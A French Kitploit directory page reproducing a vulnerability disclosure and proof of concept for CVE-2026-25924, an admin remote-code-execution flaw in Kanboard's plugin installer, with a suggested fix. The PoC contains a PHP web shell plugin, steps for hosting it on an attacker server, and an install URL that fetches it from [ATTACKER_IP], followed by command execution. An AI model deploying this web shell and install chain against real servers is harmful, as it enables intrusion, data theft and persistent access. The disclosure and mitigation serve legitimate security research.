Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25924 — Preuve de concept pour CVE-2026-25924, démontrant une exécution de code à distance administrative dans Kanboard via un contrôle d'accès manquant sur l'installation de plugins. | Kitploit
Outils/GitHubGitHub/drkim-dev/cve-2026-25924
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubdrkim-dev/cve-2026-25924

CVE-2026-25924

Preuve de concept pour CVE-2026-25924, démontrant une exécution de code à distance administrative dans Kanboard via un contrôle d'accès manquant sur l'installation de plugins.

Voir le dépôt
22il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25924 PoC - RCE Administrateur Kanboard

Preuve de concept pour une RCE administrative via contournement du contrôle de sécurité

Divulgation : Signalé à l'origine par moi via GHSA-grch-p7vf-vc4f

⚠️ Usage exclusivement réservé aux tests d'intrusion et à la recherche autorisés.

Informations sur la vulnérabilité

ChampValeur
ID CVECVE-2026-25924
Sévérité🔴 Élevée
Score CVSS8.4
Vecteur CVSS[CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]
CWECWE-863 : Autorisation incorrecte
Produit concernéKanboard ≤ 1.2.49
Version corrigée1.2.50
Avis de sécuritéGHSA-grch-p7vf-vc4f

CVE-2026-25924 : Contrôle d'accès manquant sur l'installation de plugins conduisant à une RCE administrative

1. Résumé

Une vulnérabilité de contournement du contrôle de sécurité dans Kanboard v1.2.49 permet à un administrateur authentifié d'obtenir une exécution de code à distance (RCE) complète. Bien que l'application masque correctement l'interface d'installation de plugins lorsque la configuration PLUGIN_INSTALLER est définie sur false, le point de terminaison backend sous-jacent ne vérifie pas ce paramètre de sécurité. Un attaquant peut exploiter cette négligence pour forcer le serveur à télécharger et installer un plugin malveillant, conduisant à une exécution de code arbitraire.

  • Type de vulnérabilité : CWE-863 (Autorisation incorrecte) / CWE-94 (Injection de code)
  • Sévérité : Élevée (RCE administrative)
  • Version concernée : Kanboard <= v1.2.49

2. Détails

1
2

Kanboard utilise une constante de sécurité PLUGIN_INSTALLER pour restreindre la possibilité d'installer des plugins depuis des URL distantes. Elle est définie dans app/constants.php :

Fichier : app/constants.php

root@kitploit:~
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons

L'application vérifie correctement ce paramètre dans les méthodes de rendu de l'interface utilisateur du PluginController, telles que show() et directory(), en utilisant Installer::isConfigured() :

Fichier : app/Controller/PluginController.php

root@kitploit:~
22:     public function show()
23:     {
...
28:             'is_configured' => Installer::isConfigured(),
29:         )));
30:     }

Cependant, la méthode install() du même contrôleur n'effectue pas cette vérification. Elle valide uniquement le jeton CSRF avant de procéder au téléchargement et à l'installation d'un plugin depuis une URL arbitraire fournie dans le paramètre archive_url.

Code vulnérable dans app/Controller/PluginController.php :

root@kitploit:~
56:     public function install()
57:     {
58:         $this->checkCSRFParam();
59:         $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60: 
61:         try {
62:             $installer = new Installer($this->container);
63:             $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64:             $this->flash->success(t('Plugin installed successfully.'));
65:         } catch (PluginInstallerException $e) {
66:             $this->flash->failure($e->getMessage());
67:         }
68: 
69:         $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70:     }

Étant donné que Installer::install() ne vérifie pas non plus la constante PLUGIN_INSTALLER, un administrateur peut contourner la restriction prévue simplement en accédant directement au point de terminaison avec un jeton CSRF valide. Une fois installé, le plugin malveillant est automatiquement chargé et exécuté par le Kanboard\Core\Plugin\Loader, accordant à l'attaquant une RCE complète.

3. Preuve de concept (PoC)

Étape 1 : Créer un plugin malveillant

Créez un répertoire nommé Exploit avec un fichier Plugin.php :

root@kitploit:~
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;

class Plugin extends Base {
    public function initialize() {
        // Web shell listener
        if (isset($_GET['cmd'])) {
            system($_GET['cmd']);
        }
    }
}

Étape 2 : Héberger l'archive du plugin

Compressez le dossier et hébergez-le sur un serveur contrôlé par l'attaquant :

root@kitploit:~
zip -r exploit.zip Exploit/
python3 -m http.server 80
8

Étape 3 : Déclencher l'installation

Connectez-vous à Kanboard en tant qu'administrateur. Obtenez votre csrf_token depuis le code source de la page et naviguez vers : http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN] 3 image image

Étape 4 : Exécuter des commandes à distance

Utilisez le paramètre cmd pour exécuter des commandes système arbitraires : http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id

6
7

4. Impact

Cette vulnérabilité permet à un administrateur de contourner les restrictions de sécurité imposées par l'hôte. En obtenant une RCE, l'attaquant peut :

  • Lire/écrire des fichiers arbitraires sur le serveur (par exemple, /etc/passwd, config.php).
  • Accéder à la base de données complète et l'extraire.
  • Pivoter vers le réseau interne.
  • Maintenir un accès persistant via un web shell ou un reverse shell.

5. Atténuation recommandée

Ajoutez une vérification de Installer::isConfigured() au début des méthodes install() et update() dans app/Controller/PluginController.php :

root@kitploit:~
if (! Installer::isConfigured()) {
    throw new AccessForbiddenException();
}
Télécharger l’outil